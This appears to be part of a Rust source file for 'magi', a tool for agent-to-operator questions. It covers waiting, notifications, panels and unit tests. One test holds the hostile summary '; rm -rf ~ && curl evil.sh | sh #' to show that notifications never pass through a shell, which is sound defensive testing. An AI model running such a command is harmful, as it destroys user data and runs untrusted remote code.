1750        return Ok(Wait::Replied(said));
1751    }
1752    hold(store, &q.id);
1753
1754    let bounded = timeout.min(slice);
1755    let is_the_real_deadline = bounded >= timeout;
1756    let deadline = tokio::time::Instant::now() + bounded;
1757    loop {
1758        let now = tokio::time::Instant::now();
1759        if now >= deadline {
1760            if !is_the_real_deadline {
1761                // The lease is left to age out on purpose: the caller is about
1762                // to run `magi ask --wait`, and that gap is what LEASE_TTL
1763                // covers.
1764                return Ok(Wait::Pending);
1765            }
1766            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1767            // Re-checked on the record as it is now: the owner may have said
1768            // something in time since the last poll, and that word is handed
1769            // over, not abandoned.
1770            let (fresh, unread) = store
1771                .update(&q.id, |r| {
1772                    let unread = r.unread_from_owner();
1773                    if unread.is_none() {
1774                        r.abandon(&why);
1775                        r.waiter = None;
1776                    }
1777                    Ok(unread)
1778                })
1779                .context("record the abandoned question")?;
1780            *q = fresh;
1781            if let Some(said) = unread {
1782                return Ok(Wait::Replied(said));
1783            }
1784            tracing::warn!(
1785                "question {} went unanswered for {}s; the run parks and the \
1786                 question stays as the record of it",
1787                q.short(),
1788                timeout.as_secs()
1789            );
1790            return Ok(Wait::Abandoned);
1791        }
1792        tokio::time::sleep(poll.min(deadline - now)).await;
1793        store.beat(&q.id, WaiterKind::Asker);
1794        match store.get(&q.id) {
1795            Ok(fresh) if !fresh.status.open() => {
1796                // Whoever answered - the phone, `magi answer`, another daemon -
1797                // owns the record now, so adopt theirs wholesale rather than
1798                // merging into a copy that predates it.
1799                *q = fresh;
1800                return Ok(match q.resolution() {
1801                    Some(a) => Wait::Answered(a),
1802                    // Closed with no decision - abandoned elsewhere, most
1803                    // often by the run behind it being deleted mid-wait.
1804                    None => Wait::Abandoned,
1805                });
1806            }
1807            Ok(fresh) => {
1808                if let Some(said) = fresh.unread_from_owner() {
1809                    *q = fresh;
1810                    return Ok(Wait::Replied(said));
1811                }
1812                // Still open and not waiting on the agent - nothing this
1813                // wait cares about happened, so keep polling.
1814            }
1815            Err(e) => {
1816                // Mid-rename, or a file the operator is editing by hand.
1817                // Neither is a reason to abandon a question a human may still
1818                // answer, so keep polling until the deadline decides.
1819                tracing::debug!("could not re-read question {}: {e:#}", q.short());
1820            }
1821        }
1822    }
1823}
1824
1825/// Run the operator's notification command, if one is configured.
1826///
1827/// The command is argv, never a shell string, and the substitutions below are a
1828/// single pass over each argument: a summary containing `; rm -rf ~` is one
1829/// argument to one program, and a summary containing the characters `{run}` is
1830/// not re-expanded. That property is the reason agent-authored text can be put
1831/// in a notification at all.
1832///
1833/// An error here is reported, not swallowed, so `magi notify --test` can show
1834/// the operator why nothing arrives. The waiting path logs it and carries on.
1835pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1836    notify_text(cmd, &q.run, &q.summary).await
1837}
1838
1839/// [`notify`] for an event that is not a question: the same command, the same
1840/// placeholders, with `summary` and `run` supplied directly.
1841pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1842    let Some((program, args)) = cmd.command.split_first() else {
1843        // No command configured: the web UI is the only surface, by choice.
1844        return Ok(());
1845    };
1846    let url = web_url();
1847    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1848        tracing::warn!(
1849            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1850             so the link will be empty - export it next to `magi serve` with \
1851             the address `magi web --open` printed"
1852        );
1853    }
1854    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1855    tracing::debug!(program = %program, args = ?argv, "notifying");
1856
1857    let mut child = tokio::process::Command::new(program);
1858    child.quiet();
1859    child
1860        .args(&argv)
1861        .stdin(std::process::Stdio::null())
1862        // Killed if the timeout below drops this future: a notification
1863        // command left running would outlive the run it was announcing.
1864        .kill_on_drop(true);
1865    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1866        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1867        Err(_) => bail!(
1868            "notification command `{program}` did not finish within {}s",
1869            NOTIFY_TIMEOUT.as_secs()
1870        ),
1871    };
1872    if !out.status.success() {
1873        let stderr = String::from_utf8_lossy(&out.stderr);
1874        let why = stderr
1875            .lines()
1876            .rev()
1877            .find(|l| !l.trim().is_empty())
1878            .unwrap_or("no output on stderr")
1879            .trim();
1880        bail!(
1881            "notification command `{program}` exited with {}: {why}",
1882            out.status
1883        );
1884    }
1885    Ok(())
1886}
1887
1888/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1889///
1890/// One left-to-right pass, so a substituted value is never scanned for further
1891/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
1892/// in a question must not make the notification recursive.
1893fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1894    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1895    let mut out = String::with_capacity(template.len());
1896    let mut rest = template;
1897    while let Some(at) = rest.find('{') {
1898        out.push_str(&rest[..at]);
1899        let tail = &rest[at..];
1900        match table.iter().find(|(token, _)| tail.starts_with(token)) {
1901            Some((token, value)) => {
1902                out.push_str(value);
1903                rest = &tail[token.len()..];
1904            }
1905            None => {
1906                // Not a placeholder magi knows: it is the operator's own text.
1907                out.push('{');
1908                rest = &tail[1..];
1909            }
1910        }
1911    }
1912    out.push_str(rest);
1913    out
1914}
1915
1916/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
1917fn web_url() -> String {
1918    question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1919}
1920
1921/// Point a configured base URL at the view that can answer the question.
1922///
1923/// A notification the operator has to navigate from is a question that stays
1924/// unanswered until morning, so the questions view is appended - unless the
1925/// operator already wrote a fragment, in which case they have said where they
1926/// want to land and magi does not know better.
1927fn question_url(base: &str) -> String {
1928    let base = base.trim().trim_end_matches('/');
1929    if base.is_empty() || base.contains('#') {
1930        return base.to_owned();
1931    }
1932    format!("{base}/#/questions")
1933}
1934
1935/// Assemble a panel's contents in an already-empty directory.
1936///
1937/// Split out so [`Questions::put_panel`] can delete the whole directory on the
1938/// first error without an early `return` skipping that cleanup.
1939fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1940    let index = dir.join(PANEL_HTML);
1941    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1942    for (name, src) in assets {
1943        let dst = dir.join(name);
1944        std::fs::copy(src, &dst)
1945            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1946    }
1947    Ok(())
1948}
1949
1950/// Remove a directory and everything under it, treating "not there" as done.
1951///
1952/// A panel is replaced wholesale and dropped idempotently, and in both cases
1953/// the absence of the directory is the desired end state, not an error.
1954fn clear_dir(path: &Path) -> Result<()> {
1955    match std::fs::remove_dir_all(path) {
1956        Ok(()) => Ok(()),
1957        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1958        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1959    }
1960}
1961
1962fn read_path(path: &Path) -> Result<Question> {
1963    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1964    let q: Question =
1965        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1966    if q.schema > SCHEMA {
1967        // Strictly newer, not merely different: every field added since
1968        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
1969        // here as "no thread yet" rather than as garbage. Only a schema this
1970        // build has never heard of is refused.
1971        bail!(
1972            "question {} was written by a newer magi (schema {}, this build \
1973             only speaks up to {SCHEMA})",
1974            q.id,
1975            q.schema
1976        );
1977    }
1978    Ok(q)
1979}
1980
1981/// [`short`] for callers outside this module (a run id shortens the same way).
1982pub fn short_id(id: &str) -> &str {
1983    short(id)
1984}
1985
1986fn short(id: &str) -> &str {
1987    id.split('-').next_back().unwrap_or(id)
1988}
1989
1990fn new_id() -> String {
1991    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1992    let seed = crate::rng::entropy();
1993    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1994}
1995
1996#[cfg(test)]
1997mod tests {
1998    use super::*;
1999
2000    /// A store of its own, with no process-global state - which is the point of
2001    /// `Questions::at`, and why these can run in parallel.
2002    fn store() -> (tempfile::TempDir, Questions) {
2003        let dir = tempfile::tempdir().unwrap();
2004        let s = Questions::at(dir.path().join("questions"));
2005        (dir, s)
2006    }
2007
2008    #[test]
2009    fn run_names_task_only_for_task_questions() {
2010        for (node, want) in [
2011            (crate::conduct::NODE, true),
2012            (crate::triage::NODE, true),
2013            (crate::triage::DEPS_NODE, true),
2014            (crate::land::APPROVAL_NODE, false),
2015            (crate::bump::NOTICE_NODE, false),
2016            ("implement", false),
2017        ] {
2018            let mut q = choice_question();
2019            q.node = node.to_owned();
2020            assert_eq!(q.run_names_task(), want, "{node}");
2021        }
2022    }
2023
2024    #[test]
2025    fn deleting_a_run_stops_its_questions_asking() {
2026        let (_dir, store) = store();
2027
2028        let mut open_one = choice_question();
2029        store.put(&mut open_one).unwrap();
2030        let mut answered = free_question();
2031        answered
2032            .answer(Answer::Text("keep this".to_owned()))
2033            .unwrap();
2034        store.put(&mut answered).unwrap();
2035        let mut elsewhere = choice_question();
2036        elsewhere.run = "20260903-105039-3cbf".to_owned();
2037        store.put(&mut elsewhere).unwrap();
2038
2039        let n = store
2040            .abandon_for_run(&open_one.run, "run was deleted")
2041            .unwrap();
2042        assert_eq!(n, 1, "only the open question of that run");
2043
2044        let back = store.get(&open_one.id).unwrap();
2045        assert!(!back.status.open(), "it no longer asks for a decision");
2046        assert!(
2047            back.detail.contains("run was deleted"),
2048            "the operator can see why: {}",
2049            back.detail
2050        );
2051
2052        let kept = store.get(&answered.id).unwrap();
2053        assert_eq!(
2054            kept.status,
2055            QuestionStatus::Answered,
2056            "an answered question is a decision on record, not something to revoke"
2057        );
2058        assert!(
2059            store.get(&elsewhere.id).unwrap().status.open(),
2060            "another run's question is untouched"
2061        );
2062        assert!(store.open_for(&open_one.run).is_empty());
2063    }
2064
2065    #[test]
2066    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2067        let (_dir, store) = store();
2068        let mut q = choice_question();
2069        store.put(&mut q).unwrap();
2070
2071        // `Blocked` can still be resumed - leave it exactly as it was.
2072        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2073        assert_eq!(n, 0);
2074        assert!(store.get(&q.id).unwrap().status.open());
2075
2076        // `Failed` is not - abandon it, with the run and its fate in the
2077        // reason so the owner can tell what happened without a run to read.
2078        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2079        assert_eq!(n, 1);
2080        let back = store.get(&q.id).unwrap();
2081        assert!(!back.status.open());
2082        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2083
2084        // A second call against the same, now-settled run finds nothing left.
2085        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2086    }
2087
2088    fn choice_question() -> Question {
2089        Question::new(
2090            "20260902-201256-9fb7".to_owned(),
2091            "implement".to_owned(),
2092            "impl-A".to_owned(),
2093            "Which storage backend should the cache use?".to_owned(),
2094            "Both are already dependencies.".to_owned(),
2095            vec!["SQLite".to_owned(), "Redis".to_owned()],
2096        )
2097    }
2098
2099    fn free_question() -> Question {
2100        Question::new(
2101            "20260902-201256-9fb7".to_owned(),
2102            "review".to_owned(),
2103            "rev-1".to_owned(),
2104            "What should the error message say?".to_owned(),
2105            String::new(),
2106            Vec::new(),
2107        )
2108    }
2109
2110    /// No notification, which is the default and what most of these want.
2111    fn quiet() -> config::Notify {
2112        config::Notify::default()
2113    }
2114
2115    #[test]
2116    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2117        // The front end parses these names by hand; there is no shared schema
2118        // and no compiler between the two. A rename here is a UI that shows an
2119        // empty card and reports no error, so the names are asserted literally.
2120        let mut q = choice_question();
2121        q.id = "20260902-231501-ab12".to_owned();
2122        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2123        // `serde_json::Value` holds an object's keys sorted, and key order
2124        // means nothing to a JSON reader anyway: the field *set* is what the
2125        // front end was written against, so that is what is pinned here.
2126        let keys: Vec<&str> = open
2127            .as_object()
2128            .unwrap()
2129            .keys()
2130            .map(String::as_str)
2131            .collect();
2132        assert_eq!(
2133            keys,
2134            [
2135                "actions",
2136                "answer",
2137                "answer_delivered",
2138                "answer_timeout",
2139                "answered_at",
2140                "asked_at",
2141                "assets",
2142                "choices",
2143                "consult",
2144                "cwd",
2145                "delivered_turns",
2146                "deputy",
2147                "detail",
2148                "id",
2149                "node",
2150                "panel",
2151                "run",
2152                "schema",
2153                "seat",
2154                "status",
2155                "summary",
2156                "thread",
2157                "triage_generation",
2158                "waiter",
2159            ],
2160            "the on-disk field set is a contract with the front end"
2161        );
2162        assert_eq!(open["schema"], 10);
2163        assert_eq!(open["triage_generation"], serde_json::Value::Null);
2164        assert_eq!(open["thread"], serde_json::json!([]));
2165        assert_eq!(open["id"], "20260902-231501-ab12");
2166        assert_eq!(open["run"], "20260902-201256-9fb7");
2167        assert_eq!(open["node"], "implement");
2168        assert_eq!(open["seat"], "impl-A");
2169        assert_eq!(open["status"], "open");
2170        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2171        assert_eq!(open["answered_at"], serde_json::Value::Null);
2172        assert_eq!(open["answer"], serde_json::Value::Null);
2173        let asked = open["asked_at"].as_str().unwrap();
2174        assert!(
2175            asked.ends_with('Z') && asked.contains('T'),
2176            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2177        );
2178
2179        // A chosen option, exactly as the contract spells it.
2180        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2181        let answered = serde_json::to_value(&q).unwrap();
2182        assert_eq!(answered["status"], "answered");
2183        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2184        assert!(answered["answered_at"].is_string());
2185
2186        // And free text, which is the other of the two forms.
2187        let mut free = free_question();
2188        free.answer(Answer::Text("Say which file it was".to_owned()))
2189            .unwrap();
2190        assert_eq!(
2191            serde_json::to_value(&free).unwrap()["answer"],
2192            serde_json::json!({"text": "Say which file it was"})
2193        );
2194
2195        // And it survives the round trip a reader actually performs.
2196        let body = serde_json::to_string(&q).unwrap();
2197        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2198    }
2199
2200    #[test]
2201    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2202        // Four different mistakes, four different fixes: the web handler shows
2203        // these strings to the person who made them.
2204        let mut unoffered = choice_question();
2205        let a = unoffered
2206            .answer(Answer::Choice("Postgres".to_owned()))
2207            .unwrap_err()
2208            .to_string();
2209
2210        let mut typed = choice_question();
2211        let b = typed
2212            .answer(Answer::Text("use Postgres".to_owned()))
2213            .unwrap_err()
2214            .to_string();
2215
2216        let mut blank = free_question();
2217        let c = blank
2218            .answer(Answer::Text("   \n".to_owned()))
2219            .unwrap_err()
2220            .to_string();
2221
2222        let mut twice = choice_question();
2223        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2224        let d = twice
2225            .answer(Answer::Choice("Redis".to_owned()))
2226            .unwrap_err()
2227            .to_string();
2228
2229        assert!(a.contains("not one of the choices"), "{a}");
2230        assert!(b.contains("multiple choice"), "{b}");
2231        assert!(c.contains("empty"), "{c}");
2232        assert!(d.contains("already answered"), "{d}");
2233        let mut distinct = vec![a, b, c, d];
2234        let asked = distinct.len();
2235        distinct.sort_unstable();
2236        distinct.dedup();
2237        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2238
2239        // The refused ones are still open, so the owner can answer properly.
2240        assert_eq!(unoffered.status, QuestionStatus::Open);
2241        assert_eq!(typed.status, QuestionStatus::Open);
2242        assert_eq!(blank.status, QuestionStatus::Open);
2243        // And the first answer to the double-answered one survived.
2244        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2245
2246        // Free text refuses a fabricated choice for the mirror-image reason.
2247        let mut free = free_question();
2248        let e = free
2249            .answer(Answer::Choice("SQLite".to_owned()))
2250            .unwrap_err()
2251            .to_string();
2252        assert!(e.contains("free text"), "{e}");
2253    }
2254
2255    #[test]
2256    fn open_questions_are_listed_before_answered_ones() {
2257        let (_dir, s) = store();
2258        // Ids carry a timestamp, so force a known order: the answered one is
2259        // the newest, and must still sort below the open ones.
2260        let mut old_open = choice_question();
2261        old_open.id = "20260101-000001-aaaa".to_owned();
2262        let mut new_open = choice_question();
2263        new_open.id = "20260101-000002-bbbb".to_owned();
2264        let mut answered = choice_question();
2265        answered.id = "20260101-000003-cccc".to_owned();
2266        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2267        for q in [&mut old_open, &mut new_open, &mut answered] {
2268            s.put(q).unwrap();
2269        }
2270
2271        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2272        assert_eq!(
2273            ids,
2274            [
2275                "20260101-000002-bbbb",
2276                "20260101-000001-aaaa",
2277                "20260101-000003-cccc"
2278            ],
2279            "what has stopped work comes first; history sorts underneath"
2280        );
2281        assert_eq!(s.count_open(), 2);
2282        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2283        assert!(s.open_for("some-other-run").is_empty());
2284        // The short id is what the phone and the reports show.
2285        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2286        assert!(s.get("20260101-000002-bbbb").is_ok());
2287        assert!(s.resolve_id("nope").is_err());
2288        assert!(
2289            s.revision() > 0,
2290            "the store's mtime drives the phone's polling"
2291        );
2292    }
2293
2294    #[test]
2295    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2296        let (_dir, s) = store();
2297        let mut good = choice_question();
2298        s.put(&mut good).unwrap();
2299        // Truncated by a killed writer, and written by a magi from the future.
2300        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2301        let future = serde_json::json!({
2302            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2303            "seat": "s", "summary": "?", "detail": "", "choices": [],
2304            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2305            "answered_at": null, "answer": null,
2306        });
2307        std::fs::write(
2308            s.path_of("20260101-000010-beef"),
2309            serde_json::to_string(&future).unwrap(),
2310        )
2311        .unwrap();
2312
2313        let listed = s.list();
2314        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2315        assert_eq!(listed[0].id, good.id);
2316        // Asked for by name, the unreadable one explains itself instead.
2317        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2318        assert!(e.contains("schema"), "{e}");
2319    }
2320
2321    #[tokio::test]
2322    async fn the_wait_returns_the_answer_another_process_wrote() {
2323        // The phone, `magi answer` and this run are three processes with no
2324        // channel between them: the file is the channel, so the wait has to see
2325        // a write it did not make. Sub-second timings keep this a real wait
2326        // without a real one's duration.
2327        let (dir, s) = store();
2328        let mut q = choice_question();
2329        let id = q.id.clone();
2330        let writer = Questions::at(dir.path().join("questions"));
2331        let handle = tokio::spawn(async move {
2332            tokio::time::sleep(Duration::from_millis(30)).await;
2333            let mut fresh = writer.get(&id).expect("the question was filed first");
2334            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2335            writer.put(&mut fresh).unwrap();
2336        });
2337
2338        let got = wait_for_owner(
2339            &mut q,
2340            &s,
2341            &quiet(),
2342            Duration::from_secs(5),
2343            Duration::from_millis(10),
2344        )
2345        .await
2346        .unwrap();
2347
2348        handle.await.unwrap();
2349        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2350        assert_eq!(
2351            q.status,
2352            QuestionStatus::Answered,
2353            "the caller's copy is refreshed from the answering process's record"
2354        );
2355        assert!(q.answered_at.is_some());
2356    }
2357
2358    #[tokio::test]
2359    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2360        let (_dir, s) = store();
2361        let mut q = choice_question();
2362
2363        let got = wait_for_owner(
2364            &mut q,
2365            &s,
2366            &quiet(),
2367            Duration::from_millis(60),
2368            Duration::from_millis(10),
2369        )
2370        .await
2371        .unwrap();
2372
2373        assert_eq!(
2374            got,
2375            Wait::Abandoned,
2376            "a slow human is not an error; the run parks"
2377        );
2378        assert_eq!(q.status, QuestionStatus::Abandoned);
2379        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2380        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2381        assert!(
2382            on_disk.detail.contains("Abandoned:"),
2383            "why nobody answered belongs with the question: {}",
2384            on_disk.detail
2385        );
2386        assert!(on_disk.resolution().is_none());
2387        assert_eq!(s.count_open(), 0);
2388    }
2389
2390    #[tokio::test]
2391    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2392        // This is the whole point of slicing: `timeout` (the real
2393        // `answer_timeout` budget) is far larger than `slice`, so the loop
2394        // must land on `slice` first and hand back `Pending` - not read the
2395        // silence so far as the owner having given up.
2396        let (_dir, s) = store();
2397        let mut q = choice_question();
2398        s.put(&mut q).unwrap();
2399
2400        let got = wait_loop(
2401            &mut q,
2402            &s,
2403            Duration::from_secs(3600),
2404            Duration::from_millis(30),
2405            Duration::from_millis(10),
2406        )
2407        .await
2408        .unwrap();
2409
2410        assert_eq!(
2411            got,
2412            Wait::Pending,
2413            "the clock on this call ran out, not the owner's patience"
2414        );
2415        assert_eq!(
2416            q.status,
2417            QuestionStatus::Open,
2418            "a slice expiring must never abandon the question"
2419        );
2420        let on_disk = s.get(&q.id).expect("still on disk, still open");
2421        assert_eq!(
2422            on_disk.status,
2423            QuestionStatus::Open,
2424            "nothing about the record changed just because this call gave up"
2425        );
2426    }
2427
2428    #[tokio::test]
2429    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2430        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2431        // and returns `Pending`, a second slice - a fresh call, exactly as a
2432        // fresh process would make - picks the same question back up and
2433        // sees an answer written in between.
2434        let (dir, s) = store();
2435        let mut q = choice_question();
2436        s.put(&mut q).unwrap();
2437
2438        let first = wait_loop(
2439            &mut q,
2440            &s,
2441            Duration::from_secs(3600),
2442            Duration::from_millis(30),
2443            Duration::from_millis(10),
2444        )
2445        .await
2446        .unwrap();
2447        assert_eq!(first, Wait::Pending);
2448
2449        let id = q.id.clone();
2450        let writer = Questions::at(dir.path().join("questions"));
2451        let mut fresh = writer.get(&id).unwrap();
2452        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2453        writer.put(&mut fresh).unwrap();
2454
2455        // `resume_wait` uses its own production poll interval rather than a
2456        // test-injected one, so the budget here only needs to be large enough
2457        // to cover one real poll tick - the point is that it is `resume_wait`
2458        // itself, not a helper, that finds the answer.
2459        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2460            .await
2461            .unwrap();
2462        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2463        assert_eq!(q.status, QuestionStatus::Answered);
2464    }
2465
2466    #[tokio::test]
2467    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2468        // The owner can speak back while nothing is running at all - between
2469        // one call reporting `Wait::Pending` and the next `--wait` picking
2470        // the question back up - and whoever resumes the wait loads a
2471        // *fresh* copy of the question off disk, one whose thread already
2472        // contains that reply. A baseline taken from that fresh copy would
2473        // treat the reply as pre-existing and never notice it "arrive",
2474        // leaving the agent polling in silence until `answer_timeout`
2475        // eventually abandons the question - replacing the exact accident
2476        // this feature exists to fix with a quieter version of itself.
2477        let (dir, s) = store();
2478        let mut q = choice_question();
2479        s.put(&mut q).unwrap();
2480
2481        let first = wait_loop(
2482            &mut q,
2483            &s,
2484            Duration::from_secs(3600),
2485            Duration::from_millis(30),
2486            Duration::from_millis(10),
2487        )
2488        .await
2489        .unwrap();
2490        assert_eq!(first, Wait::Pending);
2491
2492        // The owner speaks back during the gap, with nobody running yet.
2493        let id = q.id.clone();
2494        let writer = Questions::at(dir.path().join("questions"));
2495        let mut fresh = writer.get(&id).unwrap();
2496        fresh.say("why not Postgres?").unwrap();
2497        writer.put(&mut fresh).unwrap();
2498
2499        // `magi ask --wait` re-reads the question rather than reusing the
2500        // stale in-memory copy the earlier call held - so the copy handed to
2501        // `resume_wait` here already carries the reply, same as `fresh` above.
2502        let mut resumed = s.get(&id).unwrap();
2503        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2504            .await
2505            .unwrap();
2506        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2507        assert_eq!(
2508            resumed.status,
2509            QuestionStatus::Open,
2510            "talking back is not a decision; the question stays open"
2511        );
2512    }
2513
2514    #[tokio::test]
2515    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2516        // A broken webhook must not throw away an implementation, so the wait
2517        // reports the failure and carries on. `notify` itself still says what
2518        // went wrong, because `magi notify --test` has to be able to show it.
2519        let (dir, s) = store();
2520        let broken = config::Notify {
2521            command: vec![
2522                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2523                "{summary}".to_owned(),
2524            ],
2525        };
2526        let mut q = choice_question();
2527        assert!(
2528            notify(&broken, &q).await.is_err(),
2529            "the caller is told; it decides that it does not matter"
2530        );
2531
2532        let id = q.id.clone();
2533        let writer = Questions::at(dir.path().join("questions"));
2534        let handle = tokio::spawn(async move {
2535            tokio::time::sleep(Duration::from_millis(30)).await;
2536            let mut fresh = writer.get(&id).unwrap();
2537            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2538            writer.put(&mut fresh).unwrap();
2539        });
2540        let got = wait_for_owner(
2541            &mut q,
2542            &s,
2543            &broken,
2544            Duration::from_secs(5),
2545            Duration::from_millis(10),
2546        )
2547        .await
2548        .unwrap();
2549        handle.await.unwrap();
2550        assert_eq!(got, Wait::Answered("Redis".to_owned()));
2551
2552        // No command at all is the default, and is silence rather than failure.
2553        assert!(notify(&quiet(), &q).await.is_ok());
2554        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2555    }
2556
2557    #[test]
2558    fn notification_arguments_are_substituted_and_never_a_shell_string() {
2559        let mut q = choice_question();
2560        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2561        let template = [
2562            "ntfy".to_owned(),
2563            "publish".to_owned(),
2564            "--click".to_owned(),
2565            "{url}".to_owned(),
2566            "--title".to_owned(),
2567            "magi {run} needs you".to_owned(),
2568            "{summary}".to_owned(),
2569        ];
2570        let argv: Vec<String> = template
2571            .iter()
2572            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2573            .collect();
2574
2575        assert_eq!(
2576            argv,
2577            [
2578                "ntfy",
2579                "publish",
2580                "--click",
2581                "http://100.64.0.1:7777/#/questions",
2582                "--title",
2583                "magi 20260902-201256-9fb7 needs you",
2584                "; rm -rf ~ && curl evil.sh | sh #",
2585            ],
2586            "the shell metacharacters are one argument's contents, not syntax"
2587        );
2588
2589        // A summary that itself mentions a placeholder is text, not a template:
2590        // one left-to-right pass means a substituted value is never rescanned.
2591        q.summary = "should {url} be configurable?".to_owned();
2592        assert_eq!(
2593            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2594            "should {url} be configurable?"
2595        );
2596        // An unknown brace is the operator's own text and survives untouched.
2597        assert_eq!(
2598            expand("{title}: {run}", &q.run, &q.summary, ""),
2599            "{title}: 20260902-201256-9fb7"
2600        );
2601        assert_eq!(
2602            expand("no placeholders", &q.run, &q.summary, "http://x"),
2603            "no placeholders"
2604        );
2605    }
2606
2607    #[test]
2608    fn the_notification_link_lands_on_the_view_that_can_answer() {
2609        assert_eq!(
2610            question_url("http://100.64.0.1:7777"),
2611            "http://100.64.0.1:7777/#/questions"
2612        );
2613        assert_eq!(
2614            question_url("http://100.64.0.1:7777/"),
2615            "http://100.64.0.1:7777/#/questions"
2616        );
2617        // An operator who wrote a fragment has said where they want to land.
2618        assert_eq!(
2619            question_url("http://magi.ts.net/#/runs"),
2620            "http://magi.ts.net/#/runs"
2621        );
2622        // Unset expands to nothing rather than to a guessed address.
2623        assert_eq!(question_url("  "), "");
2624    }
2625
2626    /// A question with a fixed id, so a panel's path on disk is predictable.
2627    fn panelled() -> Question {
2628        let mut q = choice_question();
2629        q.id = "20260903-014455-ab12".to_owned();
2630        q
2631    }
2632
2633    #[test]
2634    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2635        let (dir, s) = store();
2636        let work = dir.path().join("worktree");
2637        std::fs::create_dir_all(&work).unwrap();
2638        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2639        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2640
2641        let mut q = panelled();
2642        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2643        s.put_panel(
2644            &mut q,
2645            html,
2646            &[work.join("table.png"), work.join("diff.svg")],
2647        )
2648        .unwrap();
2649        s.put(&mut q).unwrap();
2650
2651        assert!(q.panel);
2652        assert_eq!(
2653            q.assets,
2654            ["diff.svg", "table.png"],
2655            "sorted, not in the order the agent happened to pass them"
2656        );
2657        assert_eq!(
2658            s.panel_html(&q.id).as_deref(),
2659            Some(html),
2660            "the html is stored byte for byte; the agent authored the markup"
2661        );
2662        assert_eq!(
2663            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2664            Some(&b"<svg/>"[..])
2665        );
2666
2667        // The record on disk carries the same two fields the front end reads.
2668        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2669        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2670        assert_eq!(json["panel"], true);
2671        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2672        let back = s.get(&q.id).unwrap();
2673        assert!(back.panel);
2674        assert_eq!(back.assets, q.assets);
2675
